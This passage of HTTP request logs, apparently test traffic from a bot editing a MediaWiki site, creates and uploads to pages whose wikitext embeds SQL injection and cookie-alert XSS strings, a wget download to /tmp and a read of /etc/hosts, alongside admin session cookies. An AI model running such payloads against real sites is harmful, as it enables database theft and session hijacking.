"action=edit&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&appendtext=%0A%2A+Lighthouse&summary=Lighthouse&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=4%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=227e8770d4f741858b7fffb5f9d306c4"], "body": "--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi Lighthouse.png\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of Lighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout Lighthouse and .htaccess\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api Lighthouse.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdLighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4--\r\n"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=watch&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+Lighthouse+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1596", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1670", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=10%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&appendtext=%0A%2A+python3&summary=python3&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1077", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=12%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=8062372fed124f8b8faa3e89a043b2f7"], "body": "--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi python3.png\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of python3\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout python3 and .htaccess\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpython3\r\n--8062372fed124f8b8faa3e89a043b2f7--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 118", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=14%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+python3+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=18%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&appendtext=%0A%2A+powershell&summary=powershell&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=20%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=af4292a895f742e1bc67d5fe8c7347bd"], "body": "--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi powershell.png\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of powershell\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout powershell and .htaccess\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpowershell\r\n--af4292a895f742e1bc67d5fe8c7347bd--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=22%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+powershell+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1595", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1668", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+ls+-la%2C+python3%2C+ls+